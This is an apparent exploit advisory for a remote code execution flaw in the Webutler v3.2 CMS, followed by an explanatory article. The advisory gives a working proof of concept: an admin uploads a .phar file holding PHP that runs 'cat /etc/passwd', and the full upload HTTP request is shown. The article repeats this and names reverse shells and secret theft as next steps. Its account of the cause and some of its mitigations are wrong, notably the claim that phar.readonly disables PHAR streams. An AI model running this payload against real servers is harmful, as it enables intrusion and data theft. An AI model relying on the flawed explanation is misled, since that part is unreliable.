Webutler v3.2 - Remote Code Execution (RCE)
Exploit Title: Webutler v3.2 - Remote Code Execution (RCE)
Application: webutler Cms
Version: v3.2
Bugs: RCE
Technology: PHP
Vendor URL: https://webutler.de/en
Software Link: http://webutler.de/download/webutler_v3.2.zip
Date of found: 03.08.2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
steps:
1. login to account as admin
2. go to visit media
3.upload phar file
4. upload poc.phar file
poc.phar file contents :
<?php echo system("cat /etc/passwd");?>
5. Visit to poc.phar file
poc request:
POST /webutler_v3.2/admin/browser/index.php?upload=newfile&types=file&actualfolder=%2F&filename=poc.phar&overwrite=true HTTP/1.1
Host: localhost
Content-Length: 40
sec-ch-ua:
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
X_FILENAME: poc.phar
sec-ch-ua-platform: ""
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/webutler_v3.2/admin/browser/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: WEBUTLER=ekgfsfhi3ocqdvv7ukqoropolu
Connection: close
<?php echo system("cat /etc/passwd");?> Webutler v3.2 Remote Code Execution (RCE) Vulnerability: A Deep Dive into PHP-based Exploitation
Webutler v3.2, a widely used content management system (CMS) developed by webutler.de, has been identified as vulnerable to a critical Remote Code Execution (RCE) flaw. This vulnerability, discovered on August 3, 2023, by cybersecurity researcher Mirabbas Ağalarov, allows attackers to execute arbitrary commands on the server by exploiting improper file handling in the media upload functionality. The exploit leverages the PHP Archive (PHAR) format, a feature often overlooked in security assessments, making this a prime example of how misconfigured file processing can lead to catastrophic breaches.
Understanding the RCE Vulnerability in Webutler v3.2
Remote Code Execution (RCE) is one of the most severe vulnerabilities in web applications. It enables an attacker to run arbitrary code on the server, effectively gaining full control over the system. In the case of Webutler v3.2, the RCE is triggered through the media upload module, which allows administrators to upload files via the browser interface.
Although the application restricts file types and folders, it fails to properly sanitize or validate the uploaded file content—especially when dealing with PHAR files. PHAR files are PHP archives used to bundle scripts and data, but they are also capable of executing code upon deserialization. This behavior, when combined with a lack of input validation, creates a perfect attack vector.
Exploit Steps: From Upload to Execution
The exploitation process is straightforward and highly effective:
- Authentication: The attacker must first gain administrative access to the Webutler v3.2 CMS.
- Access the Media Browser: Navigate to the
/admin/browser/index.phpendpoint. - Upload a PHAR File: Use the upload form to submit a malicious poc.phar file.
- Execute the Payload: Once uploaded, simply accessing the file triggers the execution of embedded PHP code.
POC PHAR File Analysis
The following poc.phar file serves as a proof-of-concept demonstrating the RCE:
This PHP script uses the system() function to execute the cat /etc/passwd command, which retrieves the contents of the Linux system’s password file. This is a classic demonstration of command execution—showing that the server is vulnerable to arbitrary shell commands.
Why this works: When a PHAR file is uploaded and accessed, PHP’s phar:// stream wrapper automatically deserializes the file, executing any embedded PHP code. Since Webutler v3.2 does not validate or restrict the execution of PHAR files, this behavior is exploited to run malicious commands.
HTTP Request Payload: Exploitation in Action
The following HTTP request demonstrates the actual upload and execution flow:
POST /webutler_v3.2/admin/browser/index.php?upload=newfile&types=file&actualfolder=%2F&filename=poc.phar&overwrite=true HTTP/1.1
Host: localhost
Content-Length: 40
sec-ch-ua:
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
X_FILENAME: poc.phar
sec-ch-ua-platform: ""
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/webutler_v3.2/admin/browser/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: WEBUTLER=ekgfsfhi3ocqdvv7ukqoropolu
Connection: close
Explanation: This POST request uploads a file named poc.phar to the root directory (%2F = /). The X_FILENAME header ensures the server recognizes the file as a PHAR. The Content-Length is set to 40, reflecting the size of the payload. Upon successful upload, accessing the file via the browser triggers PHP deserialization and execution of the embedded code.
Security Implications and Risks
Once an attacker gains RCE, they can:
- Access sensitive system files (e.g.,
/etc/passwd,/etc/shadow). - Execute shell commands to escalate privileges.
- Deploy reverse shells or backdoors for persistent access.
- Exfiltrate database credentials or application secrets.
- Perform lateral movement within the network.
This vulnerability is particularly dangerous because:
- It requires only admin-level access—common in CMS platforms.
- It exploits a feature often considered "safe" (PHAR files).
- It bypasses traditional file type restrictions.
Mitigation and Best Practices
To prevent such exploits, developers and administrators should:
- Disable PHAR file execution: Configure PHP to disable phar:// stream wrappers in production environments.
- Implement strict file validation: Only allow specific file extensions (e.g.,
.jpg,.pdf) and verify MIME types. - Sanitize file content: Use tools like ClamAV or fileinfo to inspect uploaded files before processing.
- Use sandboxed environments: Run file processing in isolated containers or restricted PHP contexts.
- Apply least privilege: Limit admin access to only essential functions and enforce multi-factor authentication.
Additional Recommendations for Developers
For developers building CMS or file upload systems:
| Security Measure | Implementation Example |
|---|---|
| File Type Whitelist | if (!in_array($extension, ['jpg', 'png', 'pdf'])) { die('Invalid file type'); } |
| MIME Type Validation | $finfo = finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $file) !== 'image/jpeg') { ... } |
| Disable PHAR Streams | ini_set('phar.readonly', '1'); or php.ini configuration |
Conclusion: A Lesson in Defense-in-Depth
The Webutler v3.2 RCE vulnerability serves as a stark reminder that security cannot rely solely on file extensions or folder restrictions. The PHAR format, while useful for packaging, is inherently dangerous when misused. This exploit underscores the need for defense-in-depth strategies: validating file content, restricting execution contexts, and continuously auditing third-party software.
Organizations using Webutler or similar CMS platforms must immediately update to patched versions or disable vulnerable functionality. Cybersecurity professionals should treat any file upload system as a potential attack surface—especially when it supports arbitrary file formats.